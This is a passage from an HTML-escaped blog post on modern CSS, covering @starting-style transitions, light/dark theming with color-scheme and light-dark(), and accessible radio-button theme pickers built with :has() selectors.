hsl(100deg 100% 15%);&#xD;&#xA;      box-shadow: 2px 2px 8px #00000005;&#xD;&#xA;    }&#xD;&#xA;    /* @starting-style */&#xD;&#xA;    .toast {&#xD;&#xA;      transition: opacity 1s, translate 1s;&#xD;&#xA;      opacity: 1;&#xD;&#xA;      translate: 0 0;&#xD;&#xA;      @starting-style {&#xD;&#xA;        opacity: 0;&#xD;&#xA;        translate: 0 10px;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    /* replay button */&#xD;&#xA;    button {&#xD;&#xA;      font-family: inherit;&#xD;&#xA;      cursor: pointer;&#xD;&#xA;      border: 1px solid #0002;&#xD;&#xA;      border-radius: 4px;&#xD;&#xA;      margin-bottom: 4px;&#xD;&#xA;      background: #F0F0F0;&#xD;&#xA;      &amp;:hover { background: hsl(from #F0F0F0 h s calc(l + 3)); }&#xD;&#xA;      &amp;:active { background: hsl(from #F0F0F0 h s calc(l - 3)); }&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(button:active) .toast {&#xD;&#xA;      /* avoiding @starting-style here for tor browser compatibility */&#xD;&#xA;      display: none;&#xD;&#xA;      opacity: 0;&#xD;&#xA;      translate: 0 10px;&#xD;&#xA;      transition: none;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;But this has all changed thanks to the new &lt;em&gt;@starting-style&lt;/em&gt; at-rule!&lt;/p&gt;&#xA;&lt;p&gt;Pretty much all you have to do is set your properties as usual, add the initial transition states to &lt;em&gt;@starting-style&lt;/em&gt;, and add those properties to a transition. It&amp;rsquo;s pretty simple and it kind of &lt;em&gt;just works&lt;/em&gt; without having to trigger the animation in any way.&lt;/p&gt;&#xA;&lt;h2 id=&#34;lunalover&#34;&gt;Lunalover&lt;/h2&gt;&#xA;&lt;p&gt;Another good example of where CSS shines is theming. Many sites &lt;em&gt;need&lt;/em&gt; separate light and dark modes, and modern CSS makes dealing with that pretty easy.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;code-compare aria-label=&#34;Demo: Various elements affected by theme setting&#34; role=&#34;figure&#34; class=&#34;uses-theme&#34; id=&#34;dark-example-1&#34;&gt;&lt;code-frame role=code style=&#34;height:100px&#34;&gt;:&lt;sx-l&gt;root&lt;/sx-l&gt; {&#xD;&#xA;  &lt;sx-p&gt;color-scheme&lt;/sx-p&gt;: &lt;sx-a&gt;light&lt;/sx-a&gt; &lt;sx-a&gt;dark&lt;/sx-a&gt;;&#xD;&#xA;  &lt;sx-e&gt;--text&lt;/sx-e&gt;: &lt;sx-k&gt;light-dark&lt;/sx-k&gt;(&lt;sx-n&gt;#000&lt;/sx-n&gt;, &lt;sx-n&gt;#FFF&lt;/sx-n&gt;);&#xD;&#xA;  &lt;sx-e&gt;--bg&lt;/sx-e&gt;: &lt;sx-k&gt;light-dark&lt;/sx-k&gt;(&lt;sx-n&gt;#EEE&lt;/sx-n&gt;, &lt;sx-n&gt;#242936&lt;/sx-n&gt;);&#xD;&#xA;}&lt;/code-frame&gt;&#xD;&#xA;&lt;fake-frame style=&#34;height:100px&#34;&gt;&lt;p&gt;hi there!&lt;/p&gt;&lt;a href=&#34;https://karnaboy.bandcamp.com/track/lunalover&#34; style=&#34;text-decoration:inherit;color:inherit;margin:8px;cursor:inherit&#34; target=&#34;_blank&#34;&gt;&lt;button&gt;mystery button&lt;/button&gt;&lt;/a&gt;&lt;p&gt;you are awesome!&lt;br&gt;&lt;label&gt;&lt;input type=&#34;checkbox&#34; id=&#34;awesome&#34;&gt;i am!&lt;/label&gt;&lt;/p&gt;&lt;/fake-frame&gt;&lt;/code-compare&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  .uses-theme {&#xD;&#xA;    color-scheme: light dark;&#xD;&#xA;  }&#xD;&#xA;  #dark-example-1 {&#xD;&#xA;    --text: light-dark(#000, #FFF);&#xD;&#xA;    --bg: light-dark(#EEE, #242936);&#xD;&#xA;    fake-frame {&#xD;&#xA;      background: var(--bg);&#xD;&#xA;      color: var(--text);&#xD;&#xA;      font-family: var(--inter-stack);&#xD;&#xA;      display: flex;&#xD;&#xA;      align-items: center;&#xD;&#xA;      text-align: center;&#xD;&#xA;      justify-content: space-between;&#xD;&#xA;      flex-direction: column;&#xD;&#xA;      label {&#xD;&#xA;        font-size: 75%;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;By setting the &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/color-scheme&#34;&gt;color-scheme&lt;/a&gt; property to &lt;code&gt;light dark&lt;/code&gt;, you are telling the browser to automatically pick the theme according to the user preference, and you can then make use of that by setting color values with the &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/light-dark&#34;&gt;light-dark()&lt;/a&gt; function.&lt;/p&gt;&#xA;&lt;p&gt;Not only does it set your own colors, but also those of the native components, such as the default buttons, form elements, and scrollbars. It kind of just &lt;a href=&#34;https://infosec.exchange/@rebane2001/115060623979682479&#34;&gt;makes stuff work&lt;/a&gt; by default, and that&amp;rsquo;s nice!&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;code-compare aria-label=&#34;Demo: Buttons to change theme between auto, light, and dark&#34; role=&#34;figure&#34; class=&#34;uses-theme&#34; id=&#34;dark-example-2&#34;&gt;&lt;code-frame role=code style=&#34;height:150px&#34;&gt;:&lt;sx-l&gt;root&lt;/sx-l&gt; {&#xD;&#xA;  &lt;sx-p&gt;color-scheme&lt;/sx-p&gt;: &lt;sx-a&gt;light&lt;/sx-a&gt; &lt;sx-a&gt;dark&lt;/sx-a&gt;;&#xD;&#xA;  &amp;amp;:&lt;sx-l&gt;has&lt;/sx-l&gt;(#&lt;sx-a&gt;theme-light&lt;/sx-a&gt;:&lt;sx-l&gt;checked&lt;/sx-l&gt;) {&#xD;&#xA;    &lt;sx-p&gt;color-scheme&lt;/sx-p&gt;: &lt;sx-a&gt;light&lt;/sx-a&gt;;&#xD;&#xA;  }&#xD;&#xA;  &amp;amp;:&lt;sx-l&gt;has&lt;/sx-l&gt;(#&lt;sx-a&gt;theme-dark&lt;/sx-a&gt;:&lt;sx-l&gt;checked&lt;/sx-l&gt;) {&#xD;&#xA;    &lt;sx-p&gt;color-scheme&lt;/sx-p&gt;: &lt;sx-a&gt;dark&lt;/sx-a&gt;;&#xD;&#xA;  }&#xD;&#xA;}&lt;/code-frame&gt;&#xD;&#xA;&lt;fake-frame style=&#34;height:150px&#34;&gt;&lt;theme-picker aria-label=&#34;Theme picker&#34; role=&#34;radiogroup&#34;&gt;&#xD;&#xA;    &lt;label&gt;&lt;input type=&#34;radio&#34; name=&#34;theme&#34; id=&#34;theme-auto&#34; checked&gt;Auto&lt;/label&gt;&#xD;&#xA;    &lt;label&gt;&lt;input type=&#34;radio&#34; name=&#34;theme&#34; id=&#34;theme-light&#34;&gt;Light&lt;/label&gt;&#xD;&#xA;    &lt;label&gt;&lt;input type=&#34;radio&#34; name=&#34;theme&#34; id=&#34;theme-dark&#34;&gt;Dark&lt;/label&gt;&#xD;&#xA;  &lt;/theme-picker&gt;&lt;/fake-frame&gt;&lt;/code-compare&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  body:has(#theme-light:checked) .uses-theme {&#xD;&#xA;    color-scheme: light;&#xD;&#xA;  }&#xD;&#xA;  body:has(#theme-dark:checked) .uses-theme {&#xD;&#xA;    color-scheme: dark;&#xD;&#xA;  }&#xD;&#xA;  #dark-example-2 {&#xD;&#xA;    --text: light-dark(#000, #FFF);&#xD;&#xA;    --bg: light-dark(#EEE, #242936);&#xD;&#xA;    fake-frame {&#xD;&#xA;      background: var(--bg);&#xD;&#xA;      color: var(--text);&#xD;&#xA;      font-family: var(--inter-stack);&#xD;&#xA;      display: flex;&#xD;&#xA;      justify-content: center;&#xD;&#xA;      align-items: center;&#xD;&#xA;    }&#xD;&#xA;    /* Minimal eye-candy */&#xD;&#xA;    theme-picker {&#xD;&#xA;      display: flex;&#xD;&#xA;      padding: 20px;&#xD;&#xA;      label {&#xD;&#xA;        transition: background 0.08s;&#xD;&#xA;        &amp;:first-child { border-radius: 8px 0 0 8px; }&#xD;&#xA;        &amp;:last-child { border-radius: 0 8px 8px 0; }&#xD;&#xA;        &amp;:has(input:checked) { box-shadow: inset 0px 0px 8px 0px light-dark(#888, #000); }&#xD;&#xA;        &amp;:has(input:focus-visible) { outline: 2px solid light-dark(#000, #FFF); }&#xD;&#xA;        &amp;:hover { background: #0004; }&#xD;&#xA;        &amp;:active { background: #0006; }&#xD;&#xA;        box-shadow: inset 0px 0px 1.2px 0px #000;&#xD;&#xA;        background: #0002;&#xD;&#xA;        padding: 10px;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;        -webkit-user-select: none;&#xD;&#xA;        user-select: none;&#xD;&#xA;      }&#xD;&#xA;      input {&#xD;&#xA;        /* To allow screen reader to still access these. */&#xD;&#xA;        opacity: 0;&#xD;&#xA;        position: absolute;&#xD;&#xA;        pointer-events: none;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;You can then add some way of overriding the &lt;em&gt;color-scheme&lt;/em&gt; property to let the user pick a theme different from their system setting. Here I am using radio buttons to accomplish that.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Pro tip! CSS can&amp;rsquo;t save the theme preference, but you can still do progressive enhancement. Make the themes work CSS-only, and then add the saving/loading of preference as an optional extra in JavaScript or server-side code.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;lyres-and-accordions&#34;&gt;Lyres and accordions&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;&amp;ldquo;But those don&amp;rsquo;t look like radio buttons&amp;rdquo;&lt;/em&gt; I hear you cry.&lt;/p&gt;&#xA;&lt;p&gt;Input elements such as radio buttons and checkboxes are a great foundation to build other stuff on top of - the example above consists of labels for the buttons and invisible radio buttons that can be checked for with the &lt;em&gt;:checked&lt;/em&gt; pseudo-class.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;code-compare aria-label=&#34;Demo: Making radio buttons look like normal buttons&#34; role=&#34;figure&#34; vertical id=&#34;radio-example&#34;&gt;&lt;code-frame role=code style=&#34;min-height:300px&#34;&gt;&lt;sx-t&gt;&amp;lt;radio-picker&lt;/sx-t&gt; &lt;sx-r&gt;aria-label&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;Radio buttons example&#34;&lt;/sx-v&gt; &lt;sx-r&gt;role&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;radiogroup&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;  &lt;sx-t&gt;&amp;lt;label&amp;gt;&amp;lt;input&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;radio&#34;&lt;/sx-v&gt; &lt;sx-r&gt;name&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;demo&#34;&lt;/sx-v&gt; &lt;sx-r&gt;id&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;veni&#34;&lt;/sx-v&gt; &lt;sx-r&gt;checked&lt;/sx-r&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;veni&lt;sx-t&gt;&amp;lt;/label&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;  &lt;sx-t&gt;&amp;lt;label&amp;gt;&amp;lt;input&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;radio&#34;&lt;/sx-v&gt; &lt;sx-r&gt;name&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;demo&#34;&lt;/sx-v&gt; &lt;sx-r&gt;id&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;vidi&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;vidi&lt;sx-t&gt;&amp;lt;/label&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;  &lt;sx-t&gt;&amp;lt;label&amp;gt;&amp;lt;input&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;radio&#34;&lt;/sx-v&gt; &lt;sx-r&gt;name&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;demo&#34;&lt;/sx-v&gt; &lt;sx-r&gt;id&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;vici&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;vici&lt;sx-t&gt;&amp;lt;/label&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;/radio-picker&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;style&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;  &lt;sx-t&gt;radio-picker&lt;/sx-t&gt; {&#xD;&#xA;    &lt;sx-p&gt;display&lt;/sx-p&gt;: &lt;sx-a&gt;flex&lt;/sx-a&gt;;&#xD;&#xA;    &lt;sx-t&gt;label&lt;/sx-t&gt; {&#xD;&#xA;      &amp;amp;:&lt;sx-l&gt;has&lt;/sx-l&gt;(&lt;sx-t&gt;input&lt;/sx-t&gt;:&lt;sx-l&gt;checked&lt;/sx-l&gt;) {&#xD;&#xA;        &lt;sx-p&gt;box-shadow&lt;/sx-p&gt;: &lt;sx-a&gt;inset&lt;/sx-a&gt; &lt;sx-n&gt;0px&lt;/sx-n&gt; &lt;sx-n&gt;0px&lt;/sx-n&gt; &lt;sx-n&gt;8px&lt;/sx-n&gt; &lt;sx-n&gt;0px&lt;/sx-n&gt; &lt;sx-n&gt;#888&lt;/sx-n&gt;;&#xD;&#xA;      }&#xD;&#xA;      &amp;amp;:&lt;sx-l&gt;has&lt;/sx-l&gt;(&lt;sx-t&gt;input&lt;/sx-t&gt;:&lt;sx-l&gt;focus-visible&lt;/sx-l&gt;) {&#xD;&#xA;        &lt;sx-p&gt;outline&lt;/sx-p&gt;: &lt;sx-n&gt;2px&lt;/sx-n&gt; &lt;sx-a&gt;solid&lt;/sx-a&gt; &lt;sx-n&gt;#000&lt;/sx-n&gt;;&#xD;&#xA;      }&#xD;&#xA;      &lt;sx-p&gt;box-shadow&lt;/sx-p&gt;: &lt;sx-a&gt;inset&lt;/sx-a&gt; &lt;sx-n&gt;0px&lt;/sx-n&gt; &lt;sx-n&gt;0px&lt;/sx-n&gt; &lt;sx-n&gt;1.2px&lt;/sx-n&gt; &lt;sx-n&gt;0px&lt;/sx-n&gt; &lt;sx-n&gt;#000&lt;/sx-n&gt;;&#xD;&#xA;      &lt;sx-p&gt;padding&lt;/sx-p&gt;: &lt;sx-n&gt;10px&lt;/sx-n&gt;;&#xD;&#xA;      &lt;sx-p&gt;cursor&lt;/sx-p&gt;: &lt;sx-a&gt;pointer&lt;/sx-a&gt;;&#xD;&#xA;      &lt;sx-p&gt;background&lt;/sx-p&gt;: &lt;sx-n&gt;#0002&lt;/sx-n&gt;;&#xD;&#xA;      &amp;amp;:&lt;sx-l&gt;hover&lt;/sx-l&gt; { &lt;sx-p&gt;background&lt;/sx-p&gt;: &lt;sx-n&gt;#0004&lt;/sx-n&gt;; }&#xD;&#xA;      &amp;amp;:&lt;sx-l&gt;active&lt;/sx-l&gt; { &lt;sx-p&gt;background&lt;/sx-p&gt;: &lt;sx-n&gt;#0006&lt;/sx-n&gt;; }&#xD;&#xA;    }&#xD;&#xA;    &lt;sx-t&gt;input&lt;/sx-t&gt; {&#xD;&#xA;      &lt;sx-c&gt;/* To allow screen reader to still access these. */&lt;/sx-c&gt;&#xD;&#xA;      &lt;sx-p&gt;opacity&lt;/sx-p&gt;: &lt;sx-n&gt;0&lt;/sx-n&gt;;&#xD;&#xA;      &lt;sx-p&gt;position&lt;/sx-p&gt;: &lt;sx-a&gt;absolute&lt;/sx-a&gt;;&#xD;&#xA;      &lt;sx-p&gt;pointer-events&lt;/sx-p&gt;: &lt;sx-a&gt;none&lt;/sx-a&gt;;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;sx-t&gt;&amp;lt;/style&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code-frame&gt;&#xD;&#xA;&lt;fake-frame style=&#34;min-height:150px&#34;&gt;&lt;radio-picker aria-label=&#34;Radio buttons example&#34; role=&#34;radiogroup&#34;&gt;&#xD;&#xA;    &lt;label&gt;&lt;input type=&#34;radio&#34; name=&#34;demo1&#34; id=&#34;veni1&#34; checked&gt;veni&lt;/label&gt;&#xD;&#xA;    &lt;label&gt;&lt;input type=&#34;radio&#34; name=&#34;demo1&#34; id=&#34;vidi1&#34;&gt;vidi&lt;/label&gt;&#xD;&#xA;    &lt;label&gt;&lt;input type=&#34;radio&#34; name=&#34;demo1&#34; id=&#34;vici1&#34;&gt;vici&lt;/label&gt;&#xD;&#xA;  &lt;/radio-picker&gt;&lt;/fake-frame&gt;&lt;/code-compare&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  #radio-example, #tab-example {&#xD;&#xA;    fake-frame {&#xD;&#xA;      background: #EEE;&#xD;&#xA;      color: #000;&#xD;&#xA;      font-family: var(--inter-stack);&#xD;&#xA;      display: flex;&#xD;&#xA;      justify-content: center;&#xD;&#xA;      align-items: center;&#xD;&#xA;    }&#xD;&#xA;    radio-picker {&#xD;&#xA;      display: flex;&#xD;&#xA;      label {&#xD;&#xA;        &amp;:has(input:checked) {&#xD;&#xA;          box-shadow: inset 0px 0px 8px 0px #888;&#xD;&#xA;        }&#xD;&#xA;        &amp;:has(input:focus-visible) {&#xD;&#xA;          outline: 2px solid #000;&#xD;&#xA;        }&#xD;&#xA;        box-shadow: inset 0px 0px 1.2px 0px #000;&#xD;&#xA;        padding: 10px;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;        background: #0002;&#xD;&#xA;        &amp;:hover { background: #0004; }&#xD;&#xA;        &amp;:active { background: #0006; }&#xD;&#xA;      }&#xD;&#xA;      input {&#xD;&#xA;        /* To allow screen reader to still access these. */&#xD;&#xA;        opacity: 0.5;&#xD;&#xA;        position: absolute;&#xD;&#xA;        pointer-events: none;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;This is how I made the theme selector from the previous example. I&amp;rsquo;ve made the radio buttons half-visible in the demo for clarity, but with the &lt;code&gt;opacity: 0&lt;/code&gt; they would not actually be visible.&lt;/p&gt;&#xA;&lt;p&gt;There&amp;rsquo;s a whole lot going on here, so let&amp;rsquo;s break it down.&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;radio-picker&lt;/sx-t&gt; &lt;sx-r&gt;aria-label&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;Radio buttons example&#34;&lt;/sx-v&gt; &lt;sx-r&gt;role&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;radiogroup&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;We start off with the &lt;em&gt;radio-picker&lt;/em&gt; element - I just made it up, you can use a div instead if you&amp;rsquo;d prefer. We give it an aria-label to give the group an accessible name, and the aria role of &lt;em&gt;radiogroup&lt;/em&gt; to make it work as a group for the radio buttons.&lt;/p&gt;&#xA;&lt;p&gt;You could also use the &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/fieldset&#34;&gt;&lt;em&gt;fieldset&lt;/em&gt;&lt;/a&gt; element instead of doing the aria roles if that&amp;rsquo;d fit your use case better.&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;label&amp;gt;&amp;lt;input&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;radio&#34;&lt;/sx-v&gt; &lt;sx-r&gt;name&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;demo&#34;&lt;/sx-v&gt; &lt;sx-r&gt;id&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;veni&#34;&lt;/sx-v&gt; &lt;sx-r&gt;checked&lt;/sx-r&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;veni&lt;sx-t&gt;&amp;lt;/label&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;label&amp;gt;&amp;lt;input&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;radio&#34;&lt;/sx-v&gt; &lt;sx-r&gt;name&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;demo&#34;&lt;/sx-v&gt; &lt;sx-r&gt;id&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;vidi&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;vidi&lt;sx-t&gt;&amp;lt;/label&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;label&amp;gt;&amp;lt;input&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;radio&#34;&lt;/sx-v&gt; &lt;sx-r&gt;name&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;demo&#34;&lt;/sx-v&gt; &lt;sx-r&gt;id&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;vici&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;vici&lt;sx-t&gt;&amp;lt;/label&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;Next, we add the radio buttons with their respective labels - usually you&amp;rsquo;d have to use the &lt;em&gt;for&lt;/em&gt; attribute on labels to define which element they&amp;rsquo;re referring to, but since we have the &lt;em&gt;input&lt;/em&gt; inside the &lt;em&gt;label&lt;/em&gt; we don&amp;rsquo;t have to do that.&lt;/p&gt;&#xA;&lt;p&gt;All the &lt;code&gt;type=&amp;quot;radio&amp;quot;&lt;/code&gt; inputs should also have a &lt;em&gt;name&lt;/em&gt; value set to the same thing so that they are grouped together (you still need&lt;sup id=&#34;fnref:10&#34;&gt;&lt;a href=&#34;#fn:10&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;10&lt;/a&gt;&lt;/sup&gt; the radiogroup though). And then you can give them values or ids however you want.&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;label&lt;/sx-t&gt; {&#xD;&#xA;  &amp;amp;:&lt;sx-l&gt;has&lt;/sx-l&gt;(&lt;sx-t&gt;input&lt;/sx-t&gt;:&lt;sx-l&gt;checked&lt;/sx-l&gt;) {&#xD;&#xA;    &lt;sx-p&gt;box-shadow&lt;/sx-p&gt;: &lt;sx-a&gt;inset&lt;/sx-a&gt; &lt;sx-n&gt;0px&lt;/sx-n&gt; &lt;sx-n&gt;0px&lt;/sx-n&gt; &lt;sx-n&gt;8px&lt;/sx-n&gt; &lt;sx-n&gt;0px&lt;/sx-n&gt; &lt;sx-n&gt;#888&lt;/sx-n&gt;;&#xD;&#xA;  }&#xD;&#xA;  &amp;amp;:&lt;sx-l&gt;has&lt;/sx-l&gt;(&lt;sx-t&gt;input&lt;/sx-t&gt;:&lt;sx-l&gt;focus-visible&lt;/sx-l&gt;) {&#xD;&#xA;    &lt;sx-p&gt;outline&lt;/sx-p&gt;: &lt;sx-n&gt;2px&lt;/sx-n&gt; &lt;sx-a&gt;solid&lt;/sx-a&gt; &lt;sx-n&gt;#000&lt;/sx-n&gt;;&#xD;&#xA;  }&#xD;&#xA;  &lt;sx-p&gt;box-shadow&lt;/sx-p&gt;: &lt;sx-a&gt;inset&lt;/sx-a&gt; &lt;sx-n&gt;0px&lt;/sx-n&gt; &lt;sx-n&gt;0px&lt;/sx-n&gt; &lt;sx-n&gt;1.2px&lt;/sx-n&gt; &lt;sx-n&gt;0px&lt;/sx-n&gt; &lt;sx-n&gt;#000&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-p&gt;padding&lt;/sx-p&gt;: &lt;sx-n&gt;10px&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-p&gt;cursor&lt;/sx-p&gt;: &lt;sx-a&gt;pointer&lt;/sx-a&gt;;&#xD;&#xA;  &lt;sx-p&gt;background&lt;/sx-p&gt;: &lt;sx-n&gt;#0002&lt;/sx-n&gt;;&#xD;&#xA;  &amp;amp;:&lt;sx-l&gt;hover&lt;/sx-l&gt; { &lt;sx-p&gt;background&lt;/sx-p&gt;: &lt;sx-n&gt;#0004&lt;/sx-n&gt;; }&#xD;&#xA;  &amp;amp;:&lt;sx-l&gt;active&lt;/sx-l&gt; { &lt;sx-p&gt;background&lt;/sx-p&gt;: &lt;sx-n&gt;#0006&lt;/sx-n&gt;; }&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;We then style the labels as we wish - the &lt;em&gt;:hover&lt;/em&gt; and &lt;em&gt;:active&lt;/em&gt; pseudo-classes can be used to make the buttons more fun to click, the &lt;em&gt;:has(input:checked)&lt;/em&gt; selector can be used to define the style of the selected button, and the &lt;em&gt;:has(input:focus-visible)&lt;/em&gt; selector can be used to add an outline when someone tabs over to the button.&lt;/p&gt;&#xA;&lt;p&gt;The difference between &lt;em&gt;:focus&lt;/em&gt; and &lt;em&gt;:focus-visible&lt;/em&gt; is that the former shows up even if you use your mouse, while the latter only shows up when you use keyboard navigation, so it&amp;rsquo;s often visually more clean to use the latter.&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;input&lt;/sx-t&gt; {&#xD;&#xA;  &lt;sx-p&gt;opacity&lt;/sx-p&gt;: &lt;sx-n&gt;0&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-p&gt;position&lt;/sx-p&gt;: &lt;sx-a&gt;absolute&lt;/sx-a&gt;;&#xD;&#xA;  &lt;sx-p&gt;pointer-events&lt;/sx-p&gt;: &lt;sx-a&gt;none&lt;/sx-a&gt;;&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;And last, we make the radio button input &lt;em&gt;exist&lt;/em&gt; while not being visible. This is a bit hacky, but it&amp;rsquo;s how you can keep this control accessible to keyboard navigation and screen readers.&lt;/p&gt;&#xA;&lt;p&gt;And that&amp;rsquo;s how we get the cool-looking radio buttons!&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;code-compare vertical id=&#34;tab-example&#34;&gt;&lt;code-frame role=code style=&#34;min-height:200px&#34;&gt;&lt;sx-t&gt;&amp;lt;radio-tabs&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;  &lt;sx-t&gt;&amp;lt;div&lt;/sx-t&gt; &lt;sx-r&gt;tabindex&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;id&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;tab-veni&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;veni...&lt;sx-t&gt;&amp;lt;/div&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;  &lt;sx-t&gt;&amp;lt;div&lt;/sx-t&gt; &lt;sx-r&gt;tabindex&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;id&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;tab-vidi&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;vidi...&lt;sx-t&gt;&amp;lt;/div&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;  &lt;sx-t&gt;&amp;lt;div&lt;/sx-t&gt; 